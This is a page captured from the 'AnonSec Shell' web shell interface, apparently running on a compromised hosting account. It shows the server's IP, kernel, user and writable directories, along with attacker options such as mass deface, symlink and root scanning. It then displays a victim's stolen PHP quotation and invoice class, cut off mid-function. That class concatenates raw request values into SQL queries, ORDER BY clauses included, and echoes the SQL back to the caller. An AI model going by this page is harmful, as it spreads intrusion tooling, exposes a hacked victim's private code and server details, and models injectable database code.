AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/public_html/ilawasia.onnud20.com/class_old/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/public_html/ilawasia.onnud20.com/class_old/QuotationClass_v4.php
<?php
/**
 *
 */
class QuotationClass extends ViewData
{

  public function LoadQuotationList_s($request){
    $count = "
    * FROM (
     SELECT q.*,c.NamesName as CustomerName,c.NamesCode as CustomerCode
     ,(SELECT CountryName FROM ct_country WHERE CountryId=q.CountryId) as Country
     ,CASE WHEN q.Status = 1 THEN 'Draft' ELSE 'Approved' END as StatusText
     ,(SELECT SUM(Amount) FROM ct_quotation_item WHERE QuotationId = q.QuotationId) as Amount
     ,c.PostalAddress as Address,ct.Department
     ,(SELECT COUNT(*) FROM ct_case WHERE QuotationId = q.QuotationId) + (SELECT COUNT(*) FROM ct_case_quotation WHERE QuotationId = q.QuotationId) as IsEdit

    ";
    $name_table = "
    ct_quotation q
    INNER JOIN t_names_mas c ON q.CustomerId=c.NamesId
    INNER JOIN ct_master_case_type ct ON ct.CaseTypeId = q.CaseTypeId
    LEFT JOIN ct_invoice ci ON 
    ) A
    ";

    $search = "Del = '0'";
    $order='';
    if(@$request['CustomerId']>0){
      $cusId = $request['CustomerId'];
      $search = $search ." AND CustomerId = '".$cusId."'";
    }

    if(@$request['QuotationNumber']!=''){
      $quotationNo = $request['QuotationNumber'];
      $search = $search ." AND QuotationNo = '".$quotationNo."'";
    }
    if(@$request['CustomerName']!=''){
      $customerName = $request['CustomerName'];
      //$search = $search ." AND CustomerName LIKE '%".$customerName."%'";
      //$search = $search ." OR c.NamesCode = '".$customerName."'";
    }

    if(@$request['CaseNumber']!=''){
      $caseNo = $request['CaseNumber'];
      $search = $search ." AND (SELECT Count(*) From ct_case cc WHERE cc.QuotationId=A.QuotationId AND cc.CaseNumber LIKE '%".$caseNo."%') > 0";
    }

    if(@$request['Department']!=''){
      $department = $request['Department'];
      $search = $search ." AND Department = '".$department."'";
    }

    if(@$request['QuotationType']>0){
      $quotationType = $request['QuotationType'];
      $search = $search ." AND QuotationType LIKE '".$quotationType."'";
    }

    if(@$request['Status']>0){
      $status = $request['Status'];
      $search = $search ." AND Status LIKE '".$status."'";
    }
    if(@$request['QuotationId']!=""){
      $search .= " AND QuotationId = '".$request['QuotationId']."'";
    }

    if($request['OrderDirection']!=""){
      $order = " ORDER BY `A`.`".$request['OrderBy']."` ".$request['OrderDirection'];
    }

    $sql = array('table'=>$name_table, 'count'=>$count,'where'=>$search, 'order' => $order);


    $respons_count = 0;
    if($request['PageSize']!=''){
      //$page_number = $request['PageNumber'] - 1;
      $page_number = max(0, intval($request['PageNumber']) - 1);
      $max_rows = $request['PageSize'];
      $list_count = array('table'=>$name_table,'count'=>$count,'where'=>$search);
      $start_count = $page_number * $max_rows;
      $view_count = $this->view($list_count);
      $result_count = $this->q_re($view_count);
      $respons_count = $this->q_nr($result_count);
      $respons_count_num = mysqli_num_rows($result_count);
      $respons_pages = ceil($respons_count/$max_rows)-1;
      $data_c['page_number'] = $page_number;
      $data_c['respons_pages'] = $respons_pages;

      $sql = array('table'=>$name_table, 'count'=>$count,'where'=>$search, 'limit'=> "$start_count,$max_rows",'order'=> $order);
    }

    $view = $this->view($sql);
    $result = $this->q_re($view);
    //$respons_count = $this->q_nr($result);
    $i=0;$data=array();
    if($respons_count > 0){
      while ($row = $this->q_ro($result)) {
        $data['Data'][$i]['Address'] =$row['Address'];
        $data['Data'][$i]['Amount'] = floatval($row['Amount']);
        $data['Data'][$i]['CaseTypeId'] =$row['CaseTypeId'];
        $data['Data'][$i]['Condition'] =$row['Condition'];
        $data['Data'][$i]['ContactPerson'] =$row['ContactPerson'];
        $data['Data'][$i]['Country'] =$row['Country'];
        $data['Data'][$i]['CountryId'] =$row['CountryId'];
        $data['Data'][$i]['CreateBy'] =$row['CreateBy'];
        $data['Data'][$i]['CreateDateTime'] =$row['CreateDateTime'];
        $data['Data'][$i]['CreditTerms'] =$row['CreditTerms'];
        $data['Data'][$i]['CreditType'] =$row['CreditType'];
        $data['Data'][$i]['Currency'] =$row['Currency'];
        $data['Data'][$i]['CustomerCode'] =$row['CustomerCode'];
        $data['Data'][$i]['CustomerId'] =$row['CustomerId'];
        $data['Data'][$i]['CustomerName'] =$row['CustomerName'];
        $data['Data'][$i]['Del'] =$row['Del'];
        $data['Data'][$i]['Department'] =$row['Department'];
        $data['Data'][$i]['InterQuantity'] =$row['InterQuantity'];
        $data['Data'][$i]['IsEdit'] =$row['IsEdit'];
        $data['Data'][$i]['LocalQuantity'] =$row['LocalQuantity'];
        $data['Data'][$i]['QuotationId'] =$row['QuotationId'];
        $data['Data'][$i]['QuotationNo'] =$row['QuotationNo'];
        $data['Data'][$i]['QuotationType'] =$row['QuotationType'];
        $data['Data'][$i]['RetainerEnd'] =$row['RetainerEnd'];
        $data['Data'][$i]['RetainerStart'] =$row['RetainerStart'];
        $data['Data'][$i]['Status'] =$row['Status'];
        $data['Data'][$i]['StatusText'] =$row['StatusText'];
        $data['Data'][$i]['UpdateBy'] =$row['UpdateBy'];
        $data['Data'][$i]['UpdateDateTime'] =$row['UpdateDateTime'];
        $data['Data'][$i]['Vat'] =$row['Vat'];
        

        $i2 = 0;
        $secrch_inv = "QuotationId = '".$row['QuotationId']."' AND Del = '0'";
        $order_inv = "ORDER BY InvoiceId ASC";
        $sql_inv = array('table'=>'ct_invoice','where'=>$secrch_inv,'order'=>$order_inv);
        $view_inv = $this->view($sql_inv);
        $result_inv = $this->q_re($view_inv);
        $respons_count_inv = $this->q_nr($result_inv);
        if($respons_count_inv > 0){
          while ($row_inv = $this->q_ro($result_inv)) {
            $data['Data'][$i]['invoicelist'][$i2]['BillDetail'] =$row_inv['BillDetail'];
            $data['Data'][$i]['invoicelist'][$i2]['CreateBy'] =$row_inv['CreateBy'];
            $data['Data'][$i]['invoicelist'][$i2]['CreateDateTime'] =$row_inv['CreateDateTime'];
            $data['Data'][$i]['invoicelist'][$i2]['Del'] =$row_inv['Del'];
            $data['Data'][$i]['invoicelist'][$i2]['InvoiceId'] =$row_inv['InvoiceId'];
            $data['Data'][$i]['invoicelist'][$i2]['InvoiceNo'] =$row_inv['InvoiceNo'];
            $data['Data'][$i]['invoicelist'][$i2]['IsCo'] =$row_inv['IsCo'];
            $data['Data'][$i]['invoicelist'][$i2]['IsConsultService'] =$row_inv['IsConsultService'];
            $data['Data'][$i]['invoicelist'][$i2]['IsExcludeVat'] =$row_inv['IsExcludeVat'];
            $data['Data'][$i]['invoicelist'][$i2]['IsWitholdingTax'] =$row_inv['IsWitholdingTax'];
            $data['Data'][$i]['invoicelist'][$i2]['ResponseId'] =$row_inv['ResponseId'];
            $data['Data'][$i]['invoicelist'][$i2]['Status'] =($row_inv['Status'] ?? "");
            $data['Data'][$i]['invoicelist'][$i2]['Tax'] =($row_inv['Tax'] ?? "");
            $data['Data'][$i]['invoicelist'][$i2]['Vat'] =($row_inv['Vat'] ?? "");
            $data['Data'][$i]['invoicelist'][$i2]['UpdateBy'] =($row_inv['UpdateBy'] ?? "");
            $data['Data'][$i]['invoicelist'][$i2]['UpdateDateTime'] =($row_inv['UpdateDateTime'] ?? "");
            $i2++;
          }
        }else {
          $data['Data'][$i]['invoicelist'][$i2]['BillDetail'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['CreateBy'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['CreateDateTime'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['Del'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['InvoiceId'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['InvoiceNo'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['IsCo'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['IsConsultService'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['IsExcludeVat'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['IsWitholdingTax'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['ResponseId'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['Status'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['Tax'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['Vat'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['UpdateBy'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['UpdateDateTime'] ='';
        }


        $i++;
      }
    }else{
      $data['Data'] = '';
    }

    $data['PageNumber'] = $request['PageNumber'];
    $data['OrderBy'] = $request['OrderBy'];
    $data['OrderDirection'] = $request['OrderDirection'];
    $data['PageSize'] = $request['PageSize'];
    $data['numrows'] = $respons_count;
    $data['TotalRecords'] = $respons_count;
    $data['sql'] = $view;
    return $data;

  }

  public function LoadQuotationList($request){
    $count = "
      q.QuotationId, q.QuotationNo, q.CustomerId, q.CountryId, q.CaseTypeId,
      q.QuotationType, q.Status, q.CreateBy, q.CreateDateTime, q.UpdateBy, q.UpdateDateTime,
      q.Vat, q.CreditTerms, q.CreditType, q.Condition, q.Currency,
      q.ContactPerson, q.InterQuantity, q.LocalQuantity, q.Del,
      c.NamesName AS CustomerName,
      c.NamesCode AS CustomerCode,
      c.PostalAddress AS Address,
      ct.Department,
      country.CountryName AS Country,
      IF(q.Status = 1, 'Draft', 'Approved') AS StatusText,
      COALESCE(SUM(qi.Amount), 0) AS Amount,
      (
          SELECT COUNT(*) 
          FROM ct_case 
          WHERE QuotationId = q.QuotationId
      ) +
      (
          SELECT COUNT(*) 
          FROM ct_case_quotation 
          WHERE QuotationId = q.QuotationId
      ) AS IsEdit";

    $name_table = "ct_quotation q
      INNER JOIN t_names_mas c ON q.CustomerId = c.NamesId
      INNER JOIN ct_master_case_type ct ON q.CaseTypeId = ct.CaseTypeId
      LEFT JOIN ct_country country ON country.CountryId = q.CountryId
      LEFT JOIN ct_quotation_item qi ON q.QuotationId = qi.QuotationId";

    $search = "q.Del = '0'";
    $order='';

    if(@$request['CustomerId']>0){
      $cusId = $request['CustomerId'];
      $search = $search ." AND q.CustomerId = '".$cusId."'";
    }

    if(@$request['QuotationNumber']!=''){
      $quotationNo = $request['QuotationNumber'];
      $search = $search ." AND q.QuotationNo = '".$quotationNo."'";
    }
    if(@$request['CustomerName']!=''){
      $customerName = $request['CustomerName'];
      //$search = $search ." AND CustomerName LIKE '%".$customerName."%'";
      //$search = $search ." OR c.NamesCode = '".$customerName."'";
    }

    if(@$request['CaseNumber']!=''){
      $caseNo = $request['CaseNumber'];
      $search = $search ." AND (SELECT Count(*) From ct_case cc WHERE cc.QuotationId=A.QuotationId AND cc.CaseNumber LIKE '%".$caseNo."%') > 0";
    }

    if(@$request['Department']!=''){
      $department = $request['Department'];
      $search = $search ." AND q.Department = '".$department."'";
    }

    if(@$request['QuotationType']>0){
      $quotationType = $request['QuotationType'];
      $search = $search ." AND q.QuotationType LIKE '".$quotationType."'";
    }

    if(@$request['Status']>0){
      $status = $request['Status'];
      $search = $search ." AND q.Status LIKE '".$status."'";
    }
    if(@$request['QuotationId']!=""){
      $search .= " AND q.QuotationId = '".$request['QuotationId']."'";
    }

    if($request['OrderDirection']!=""){
      $order = " GROUP BY q.QuotationId ORDER BY `q`.`".$request['OrderBy']."` ".$request['OrderDirection'];
    }

    $respons_count = 0;
    if($request['PageSize']!=''){
      //$page_number = $request['PageNumber'] - 1;
      $page_number = max(0, intval($request['PageNumber']) - 1);
      $max_rows = $request['PageSize'];
      $list_count = array('table'=>$name_table,'count'=>$count,'where'=>$search);
      $start_count = $page_number * $max_rows;
      $view_count = $this->view($list_count);
      $result_count = $this->q_re($view_count);
      $respons_count = $this->q_nr($result_count);
      $respons_count_num = mysqli_num_rows($result_count);
      $respons_pages = ceil($respons_count/$max_rows)-1;
      $data_c['page_number'] = $page_number;
      $data_c['respons_pages'] = $respons_pages;

      $sql = array('table'=>$name_table, 'count'=>$count,'where'=>$search, 'limit'=> "$start_count,$max_rows",'order'=> $order);
    }

    $view = $this->view($sql);
    $result = $this->q_re($view);
    //$respons_count = $this->q_nr($result);
    $i=0;$data=array();
    if($respons_count > 0){
      while ($row = $this->q_ro($result)) {
        $data['Data'][$i]['Address'] =$row['Address'];
        $data['Data'][$i]['Amount'] = floatval($row['Amount']);
        $data['Data'][$i]['CaseTypeId'] =$row['CaseTypeId'];
        $data['Data'][$i]['Condition'] =$row['Condition'];
        $data['Data'][$i]['ContactPerson'] =$row['ContactPerson'];
        $data['Data'][$i]['Country'] =$row['Country'];
        $data['Data'][$i]['CountryId'] =$row['CountryId'];
        $data['Data'][$i]['CreateBy'] =$row['CreateBy'];
        $data['Data'][$i]['CreateDateTime'] =$row['CreateDateTime'];
        $data['Data'][$i]['CreditTerms'] =$row['CreditTerms'];
        $data['Data'][$i]['CreditType'] =$row['CreditType'];
        $data['Data'][$i]['Currency'] =$row['Currency'];
        $data['Data'][$i]['CustomerCode'] =$row['CustomerCode'];
        $data['Data'][$i]['CustomerId'] =$row['CustomerId'];
        $data['Data'][$i]['CustomerName'] =$row['CustomerName'];
        $data['Data'][$i]['Del'] =$row['Del'];
        $data['Data'][$i]['Department'] =$row['Department'];
        $data['Data'][$i]['InterQuantity'] =$row['InterQuantity'];
        $data['Data'][$i]['IsEdit'] =$row['IsEdit'];
        $data['Data'][$i]['LocalQuantity'] =$row['LocalQuantity'];
        $data['Data'][$i]['QuotationId'] =$row['QuotationId'];
        $data['Data'][$i]['QuotationNo'] =$row['QuotationNo'];
        $data['Data'][$i]['QuotationType'] =$row['QuotationType'];
        $data['Data'][$i]['RetainerEnd'] =$row['RetainerEnd'];
        $data['Data'][$i]['RetainerStart'] =$row['RetainerStart'];
        $data['Data'][$i]['Status'] =$row['Status'];
        $data['Data'][$i]['StatusText'] =$row['StatusText'];
        $data['Data'][$i]['UpdateBy'] =$row['UpdateBy'];
        $data['Data'][$i]['UpdateDateTime'] =$row['UpdateDateTime'];
        $data['Data'][$i]['Vat'] =$row['Vat'];
        
        $i2 = 0;
        $secrch_inv = "QuotationId = '".$row['QuotationId']."' AND Del = '0'";
        $order_inv = "ORDER BY InvoiceId ASC";
        $sql_inv = array('table'=>'ct_invoice','where'=>$secrch_inv,'order'=>$order_inv);
        $view_inv = $this->view($sql_inv);
        $result_inv = $this->q_re($view_inv);
        $respons_count_inv = $this->q_nr($result_inv);
        if($respons_count_inv > 0){
          while ($row_inv = $this->q_ro($result_inv)) {
            $data['Data'][$i]['invoicelist'][$i2]['InvoiceId'] =$row_inv['InvoiceId'];
            $data['Data'][$i]['invoicelist'][$i2]['InvoiceNo'] =$row_inv['InvoiceNo'];
            $data['Data'][$i]['invoicelist'][$i2]['BillDetail'] =$row_inv['BillDetail'];
            $data['Data'][$i]['invoicelist'][$i2]['CreateBy'] =$row_inv['CreateBy'];
            $data['Data'][$i]['invoicelist'][$i2]['CreateDateTime'] =$row_inv['CreateDateTime'];
            $data['Data'][$i]['invoicelist'][$i2]['Del'] =$row_inv['Del'];
            $data['Data'][$i]['invoicelist'][$i2]['IsCo'] =$row_inv['IsCo'];
            $data['Data'][$i]['invoicelist'][$i2]['IsConsultService'] =$row_inv['IsConsultService'];
            $data['Data'][$i]['invoicelist'][$i2]['IsExcludeVat'] =$row_inv['IsExcludeVat'];
            $data['Data'][$i]['invoicelist'][$i2]['IsWitholdingTax'] =$row_inv['IsWitholdingTax'];
            $data['Data'][$i]['invoicelist'][$i2]['ResponseId'] =$row_inv['ResponseId'];
            $data['Data'][$i]['invoicelist'][$i2]['Status'] =($row_inv['Status'] ?? "");
            $data['Data'][$i]['invoicelist'][$i2]['Tax'] =($row_inv['Tax'] ?? "");
            $data['Data'][$i]['invoicelist'][$i2]['Vat'] =($row_inv['Vat'] ?? "");
            $data['Data'][$i]['invoicelist'][$i2]['UpdateBy'] =($row_inv['UpdateBy'] ?? "");
            $data['Data'][$i]['invoicelist'][$i2]['UpdateDateTime'] =($row_inv['UpdateDateTime'] ?? "");
            
            $i2++;
          }
           
          
        } else {
          $data['Data'][$i]['invoicelist'][$i2]['BillDetail'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['CreateBy'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['CreateDateTime'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['Del'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['InvoiceId'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['InvoiceNo'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['IsCo'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['IsConsultService'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['IsExcludeVat'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['IsWitholdingTax'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['ResponseId'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['Status'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['Tax'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['Vat'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['UpdateBy'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['UpdateDateTime'] ='';
        }
        
        $i++;
      }
    }else{
      $data['Data'] = '';
    }

    $data['PageNumber'] = $request['PageNumber'];
    $data['OrderBy'] = $request['OrderBy'];
    $data['OrderDirection'] = $request['OrderDirection'];
    $data['PageSize'] = $request['PageSize'];
    $data['numrows'] = $respons_count;
    $data['TotalRecords'] = $respons_count;
    $data['sql'] = $view;
    return $data;

  }

  public function LoadQuotationListCk($request){
    $count = "
    * FROM (
     SELECT q.*,c.NamesName as CustomerName,c.NamesCode as CustomerCode
     ,(SELECT CountryName FROM ct_country WHERE CountryId=q.CountryId) as Country
     ,CASE WHEN q.Status = 1 THEN 'Draft' ELSE 'Approved' END as StatusText
     ,(SELECT SUM(Amount) FROM ct_quotation_item WHERE QuotationId = q.QuotationId) as Amount
     ,c.PostalAddress as Address,ct.Department
     ,(SELECT COUNT(*) FROM ct_case WHERE QuotationId = q.QuotationId) + (SELECT COUNT(*) FROM ct_case_quotation WHERE QuotationId = q.QuotationId) as IsEdit

    ";
    $name_table = "
    ct_quotation q
    INNER JOIN t_names_mas c ON q.CustomerId=c.NamesId
    INNER JOIN ct_master_case_type ct ON ct.CaseTypeId = q.CaseTypeId
    ) A
    ";

    $search = "1=1 ";
    $order='';
    if(@$request['CustomerId']>0){
      $cusId = $request['CustomerId'];
      $search = $search ." AND CustomerId = '".$cusId."'";
    }

    if(@$request['QuotationNumber']!=''){
      $quotationNo = $request['QuotationNumber'];
      $search = $search ." AND QuotationNo LIKE '%".$quotationNo."%'";
    }
    if(@$request['CustomerName']!=''){
      $customerName = $request['CustomerName'];
      $search = $search ." AND CustomerName LIKE '%".$customerName."%'";
      //$search = $search ." OR c.NamesCode = '".$customerName."'";
    }

    if(@$request['CaseNumber']!=''){
      $caseNo = $request['CaseNumber'];
      $search = $search ." AND (SELECT Count(*) From ct_case cc WHERE cc.QuotationId=A.QuotationId AND cc.CaseNumber LIKE '%".$caseNo."%') > 0";
    }

    if(@$request['Department']!=''){
      $department = $request['Department'];
      $search = $search ." AND Department = '".$department."'";
    }

    if(@$request['QuotationType']>0){
      $quotationType = $request['QuotationType'];
      $search = $search ." AND QuotationType LIKE '".$quotationType."'";
    }

    if(@$request['Status']>0){
      $status = $request['Status'];
      $search = $search ." AND Status LIKE '".$status."'";
    }
    if(@$request['QuotationId']!=""){
      $search .= " AND QuotationId = '".$request['QuotationId']."'";
    }

    if($request['OrderDirection']!=""){
      $order = " ORDER BY `A`.`".$request['OrderBy']."` ".$request['OrderDirection'];
    }



    $sql = array('table'=>$name_table, 'count'=>$count,'where'=>$search, 'order' => $order);



    if($request['PageSize']!=''){
      $page_number = $request['PageNumber'] - 1;
      $max_rows = $request['PageSize'];
      $list_count = array('table'=>$name_table,'count'=>$count,'where'=>$search); //,'order' => 'ORDER BY `QuotationId` DESC '
      $start_count = $page_number * $max_rows;
      $view_count = $this->view($list_count);
      $result_count = $this->q_re($view_count);
      $respons_count = $this->q_nr($result_count);
      $respons_count_num = mysqli_num_rows($result_count);
      $respons_pages = ceil($respons_count/$max_rows)-1;
      $data_c['page_number'] = $page_number;
      $data_c['respons_pages'] = $respons_pages;
      $sql = array('table'=>$name_table, 'count'=>$count,'where'=>$search,'order'=> $order);
      //, 'limit'=> "$start_count,$max_rows"
    }


    $view = $this->view($sql);
    $result = $this->q_re($view);
    $i=0;$data=array();
    if($respons_count_num > 0){
      while ($row = $this->q_ro($result)) {
        $data['Data'][$i]['Address'] =$row['Address'];
        $data['Data'][$i]['Amount'] = floatval($row['Amount']);
        $data['Data'][$i]['CaseTypeId'] =$row['CaseTypeId'];
        $data['Data'][$i]['Condition'] =$row['Condition'];
        $data['Data'][$i]['ContactPerson'] =$row['ContactPerson'];
        $data['Data'][$i]['Country'] =$row['Country'];
        $data['Data'][$i]['CountryId'] =$row['CountryId'];
        $data['Data'][$i]['CreateBy'] =$row['CreateBy'];
        $data['Data'][$i]['CreateDateTime'] =$row['CreateDateTime'];
        $data['Data'][$i]['CreditTerms'] =$row['CreditTerms'];
        $data['Data'][$i]['CreditType'] =$row['CreditType'];
        $data['Data'][$i]['Currency'] =$row['Currency'];
        $data['Data'][$i]['CustomerCode'] =$row['CustomerCode'];
        $data['Data'][$i]['CustomerId'] =$row['CustomerId'];
        $data['Data'][$i]['CustomerName'] =$row['CustomerName'];
        $data['Data'][$i]['Del'] =$row['Del'];
        $data['Data'][$i]['Department'] =$row['Department'];
        $data['Data'][$i]['InterQuantity'] =$row['InterQuantity'];
        $data['Data'][$i]['IsEdit'] =$row['IsEdit'];
        $data['Data'][$i]['LocalQuantity'] =$row['LocalQuantity'];
        $data['Data'][$i]['QuotationId'] =$row['QuotationId'];
        $data['Data'][$i]['QuotationNo'] =$row['QuotationNo'];
        $data['Data'][$i]['QuotationType'] =$row['QuotationType'];
        $data['Data'][$i]['RetainerEnd'] =$row['RetainerEnd'];
        $data['Data'][$i]['RetainerStart'] =$row['RetainerStart'];
        $data['Data'][$i]['Status'] =$row['Status'];
        $data['Data'][$i]['StatusText'] =$row['StatusText'];
        $data['Data'][$i]['UpdateBy'] =$row['UpdateBy'];
        $data['Data'][$i]['UpdateDateTime'] =$row['UpdateDateTime'];
        $data['Data'][$i]['Vat'] =$row['Vat'];

        $i2 = 0;
        $secrch_inv = "QuotationId = '".$row['QuotationId']."' AND Del = '0'";
        $order_inv = "ORDER BY InvoiceId ASC";
        $sql_inv = array('table'=>'ct_invoice','where'=>$secrch_inv,'order'=>$order_inv);
        $view_inv = $this->view($sql_inv);
        $result_inv = $this->q_re($view_inv);
        $respons_count_inv = $this->q_nr($result_inv);
        if($respons_count_inv > 0){
          while ($row_inv = $this->q_ro($result_inv)) {
            $data['Data'][$i]['invoicelist'][$i2]['BillDetail'] =$row_inv['BillDetail'];
            $data['Data'][$i]['invoicelist'][$i2]['CreateBy'] =$row_inv['CreateBy'];
            $data['Data'][$i]['invoicelist'][$i2]['CreateDateTime'] =$row_inv['CreateDateTime'];
            $data['Data'][$i]['invoicelist'][$i2]['Del'] =$row_inv['Del'];
            $data['Data'][$i]['invoicelist'][$i2]['InvoiceId'] =$row_inv['InvoiceId'];
            $data['Data'][$i]['invoicelist'][$i2]['InvoiceNo'] =$row_inv['InvoiceNo'];
            $data['Data'][$i]['invoicelist'][$i2]['IsCo'] =$row_inv['IsCo'];
            $data['Data'][$i]['invoicelist'][$i2]['IsConsultService'] =$row_inv['IsConsultService'];
            $data['Data'][$i]['invoicelist'][$i2]['IsExcludeVat'] =$row_inv['IsExcludeVat'];
            $data['Data'][$i]['invoicelist'][$i2]['IsWitholdingTax'] =$row_inv['IsWitholdingTax'];
            $data['Data'][$i]['invoicelist'][$i2]['ResponseId'] =$row_inv['ResponseId'];
            $data['Data'][$i]['invoicelist'][$i2]['Status'] =$row_inv['Status'];
            $data['Data'][$i]['invoicelist'][$i2]['Tax'] =$row_inv['Tax'];
            $data['Data'][$i]['invoicelist'][$i2]['Vat'] =$row_inv['Vat'];
            $data['Data'][$i]['invoicelist'][$i2]['UpdateBy'] =$row_inv['UpdateBy'];
            $data['Data'][$i]['invoicelist'][$i2]['UpdateDateTime'] =$row_inv['UpdateDateTime'];
            $i2++;
          }
        }else {
          $data['Data'][$i]['invoicelist'][$i2]['BillDetail'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['CreateBy'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['CreateDateTime'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['Del'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['InvoiceId'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['InvoiceNo'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['IsCo'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['IsConsultService'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['IsExcludeVat'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['IsWitholdingTax'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['ResponseId'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['Status'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['Tax'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['Vat'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['UpdateBy'] ='';
          $data['Data'][$i]['invoicelist'][$i2]['UpdateDateTime'] ='';
        }


        $i++;
      }


    }else{
      $data['Data'] = '';
    }

    $data['PageNumber'] = $request['PageNumber'];
    $data['OrderBy'] = $request['OrderBy'];
    $data['OrderDirection'] = $request['OrderDirection'];
    $data['PageSize'] = $request['PageSize'];
    $data['numrows'] = $respons_count_num;
    $data['TotalRecords'] = $respons_count_num;
    $data['sql'] = $view;
    return $data;

  }

  public function LoadQuotationCase($request){
    $count = "
      * FROM (
        SELECT q.*,c.NamesName as CustomerName,c.NamesCode as CustomerCode
        ,(SELECT CountryName FROM ct_country WHERE CountryId=q.CountryId) as Country
        ,CASE WHEN q.Status = 1 THEN 'Draft' ELSE 'Approved' END as StatusText
        ,(SELECT SUM(Amount) FROM ct_quotation_item WHERE QuotationId = q.QuotationId) as Amount
    ";
    if($request['QuotationType']==2){
      $count .= ",(SELECT SUM(LocalQuantity) FROM ct_case WHERE QuotationId = q.QuotationId AND ".date("m")." = MONTH(CreateDateTime) AND ".date("Y")." = YEAR(CreateDateTime))  as CurrentLocalOfMonth";
      $count .= ",(SELECT SUM(InterQuantity) FROM ct_case WHERE QuotationId = q.QuotationId AND ".date("m")." = MONTH(CreateDateTime) AND ".date("Y")." = YEAR(CreateDateTime)) as CurrentInterOfMonth";
      $count .= ",(DATEDIFF(CURDATE(),q.RetainerEnd)) as DayExpired";
    }
    $count .= ",c.PostalAddress as Address,ct.Department";
    $name_table = "
      ct_quotation q
      INNER JOIN t_names_mas c ON q.CustomerId=c.NamesId
      INNER JOIN ct_master_case_type ct ON ct.CaseTypeId = q.CaseTypeId
      ) A
    ";

    $search = "Del = '0'";

    if($request['CustomerId']!=''){
      $custId =$request['CustomerId'];
      $search .= " AND CustomerId = '".$custId."'";
    }

    if($request['CustomerCode']!=''){
      $cusCode =$request['CustomerCode'];
      $search .= " AND CustomerCode LIKE '%".$cusCode."%'";
    }

    if($request['CustomerName']!=''){
      $cusName =$request['CustomerName'];
      $search .= " AND CustomerName LIKE '%".$cusName."%'";
    }

    if($request['QuotationNumber']!=''){
      $quotationNo =$request['QuotationNumber'];
      $search .= "AND QuotationNo LIKE '%".$quotationNo."%'";
    }

    if($request['CaseNumber']!=''){
      $caseNo =$request['CaseNumber'];
      $search .= " AND (SELECT Count(*) From ct_case cc WHERE cc.QuotationId=A.QuotationId AND cc.CaseNumber LIKE '%".$caseNo."%') > 0";
    }
    if($request['Department']!=''){
      $department =$request['Department'];
      $search .= " AND Department = '".$department."'";
    }
    if($request['CustomerId']>0){
      $cusId =$request['CustomerId'];
      $search .= "  AND CustomerId = '".$cusId."'";
    }
    if($request['QuotationType']>0){
      $quotationType =$request['QuotationType'];
      $search .= " AND QuotationType ='".$quotationType."'";
    }
    if($request['QuotationType']>0){
      $quotationType =$request['QuotationType'];
      $search .= " AND QuotationType ='".$quotationType."'";
      if($request['QuotationType']==1){
        $search .= " AND (SELECT Count(*) FROM ct_case WHERE QuotationId = A.QuotationId) = 0 ";
        $search .= " AND (SELECT Count(*) FROM ct_case_quotation WHERE QuotationId = A.QuotationId) = 0";

      }
    }
    if($request['Status']>0){
      $status =$request['Status'];
      $search .= "  AND Status LIKE '".$status."'";
    }
    if($request['OrderDirection']!=''){

      $search .= " Order By '". $request['OrderBy']."' ". $request['OrderDirection'];
    }

    $sql = array('table'=>$name_table, 'count'=>$count,'where'=>$search);

    if($request['PageSize']!=''){
      $page_number = $request['PageNumber'] - 1;
      $max_rows = $request['PageSize'];
      $list_count = array('table'=>$name_table,'count'=>$count,'where'=>$search); //,'order' => 'ORDER BY `QuotationId` DESC '
      $start_count = $page_number * $max_rows;
      $view_count = $this->view($list_count);
      $result_count = $this->q_re($view_count);
      $respons_count = $this->q_nr($result_count);
